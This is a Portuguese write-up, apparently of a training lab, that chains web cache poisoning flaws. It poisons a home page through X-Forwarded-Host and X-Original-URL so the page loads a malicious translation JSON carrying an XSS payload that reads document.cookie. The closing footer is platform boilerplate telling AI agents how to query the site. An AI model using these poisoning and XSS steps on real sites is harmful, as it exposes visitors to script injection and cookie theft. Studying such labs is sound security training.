> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md).

# Combinação de vulnerabilidades de cache poisoning na web

### Combinando vulnerabilidades de envenenamento de cache da web

Precisamos **envenenar o cache da página inicial** com uma versão que é executada **`alert(document.cookie)`** no navegador do visitante. A vítima passa por `/` about **a cada minuto** e **o idioma da vítima é inglês (`lang=en` cookie)**.

<figure><img src="/files/f77eca2eba000ea8535d8eda21e51ebeaf040f1a" alt=""><figcaption></figcaption></figure>

### (1) Ponto de entrada: funcionalidade de tradução no lado do cliente

Na página inicial, observamos:

* Um `lang` cookie (por exemplo, `lang=es`) + `session=...`
* Um script de tradução: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

Este script lê `lang` dos cookies, depois faz um `fetch()` para um JSON:

```json
{
    "en": {
        "name": "Inglês"
    },
    "es": {
        "name": "Espanhol",
        "translations": {
            "Return to list": "Voltar para a lista",
            "View details": "Ver detalhes",
            "Description:": "Descrição:"
        }
    },
    "cn": {
        "name": "Chinês",
        "translations": {
            "Return to list": "Voltar para a lista",
            "View details": "Ver detalhes",
            "Description:": "Descrição:"
        }
    },
    "ar": {
        "name": "Árabe",
        "translations": {
            "Return to list": "Voltar para a lista",
            "View details": "Ver detalhes",
            "Description:": "Descrição:"
        }
    },
    "en-gb": {
        "name": "Inglês correto",
        "translations": {
            "Return to list": "De onde você veio",
            "View details": "Tenha a gentileza de elaborar",
            "Description:": "Considerações pomposas sobre o tema:"
        }
    },
    "ml": {
        "name": "Malaiala",
        "translations": {
            "Return to list": "Voltar para a lista",
            "View details": "Ver detalhes",
            "Description:": "Descrição:"
        }
    },
    "hb": {
        "name": "Hebraico",
        "translations": {
            "Return to list": "Voltar para a lista",
            "View details": "Ver detalhes",
            "Description:": "Descrição:"
        }
    },
    "zl": {
        "name": "Zalgo",
        "translations": {
            "Return to list": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "View details": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Description:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "Finlandês",
        "translations": {
            "Return to list": "Voltar para a lista",
            "View details": "Ver detalhes",
            "Description:": "Descrição:"
        }
    },
    "hw": {
        "name": "Havaiano",
        "translations": {
            "Return to list": "Voltar para a lista",
            "View details": "Ver detalhes",
            "Description:": "Descrição:"
        }
    },
    "mm": {
        "name": "Birmanês",
        "translations": {
            "Return to list": "Voltar para a lista",
            "View details": "Ver detalhes",
            "Description:": "Descrição:"
        }
    }
}
```

E `data.host` vem de um bloco inline na página inicial:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

Em seguida, o script aplica as traduções substituindo o texto por meio de `innerHTML`, o que é importante porque isso pode transformar uma tradução em \*\*injeção de HTML\*\* se você controlar o JSON.

### Vulnerabilidade #1: manipulação do host via `X-Forwarded-Host`

Adicionando o seguinte cabeçalho HTTP

```http
X-Forwarded-Host: test.com
```

descobrimos que o valor é refletido em `data.host`.

<figure><img src="/files/7522f7472f352e57a7a4dff497bb258faac83d2f" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="/files/87aa330dc41f0d52a467ed42756a6257e9bcad4b" alt=""><figcaption></figcaption></figure>

Então podemos forçar o navegador a carregar o arquivo:

```bash
/resources/json/translations.json
```

### 3. Vulnerabilidade #2: XSS via arquivo JSON de tradução

Hospedamos no servidor de exploração um falso `translations.json` contendo uma injeção XSS em uma tradução, por exemplo:

```json
{
    "en": {
        "name": "Inglês"
    },
    "es": {
        "name": "Espanhol",
        "translations": {
            "Return to list": "Olá",
            "View details": "></a><img src=0 onerror=alert(document.cookie)>",
            "Description:": "Descrição:"
        }
    }
}
```

<figure><img src="/files/1457eee3859273d678284e9fc9695ffd1923b9fa" alt=""><figcaption></figcaption></figure>

Então usamos:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

A página inicial, servida do cache, agora apontará para o nosso arquivo JSON malicioso.

O conteúdo da tradução, portanto, é interpretado como HTML, o que permite a execução do JavaScript injetado.

<figure><img src="/files/459051a0ca91ee4521db9ddfb5135f9f85bfdc0b" alt=""><figcaption></figcaption></figure>

### 4. Limitação: a vítima usa inglês

O script de tradução só é executado se:

* `lang !== 'en'`

A vítima inicialmente `lang=en`. / Mesmo que controlemos o arquivo JSON, \*\*l

Portanto, precisamos **reforçar a passagem para o espanhol**.

### 5. Vulnerabilidade #3: forçar mudança de idioma via `X-Original-URL`

<figure><img src="/files/51ac446787cebc40fa3007949e232487a10f55c7" alt=""><figcaption></figcaption></figure>

Usando o Param Miner, identificamos o cabeçalho vulnerável:

```http
X-Original-Url: /test
```

Enviamos outra solicitação para `/` com:

* `X-Original-URL: /test` → `404 Não Encontrado`

<figure><img src="/files/941a553a89fa4626c4ebedd024b1952db78a2231" alt=""><figcaption></figcaption></figure>

O cache entrega uma resposta que define `lang=es` para os visitantes.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

Este caminho:

* Define o `lang=es` cookie
* Depois, volte para a página inicial

<figure><img src="/files/8c7b2c03057ff4b7112da901d078a136126506a6" alt=""><figcaption></figcaption></figure>

#### Execução do payload na vítima

1. A vítima visita `/`
2. `lang` o cookie vai para `es`
3. A página recarrega o `translations.json` arquivo do nosso servidor de exploração
4. A tradução maliciosa é injetada no DOM
5. O navegador executa:

<figure><img src="/files/ee8eded05c6f9ee698efdfd07cafbb18505a7ff9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
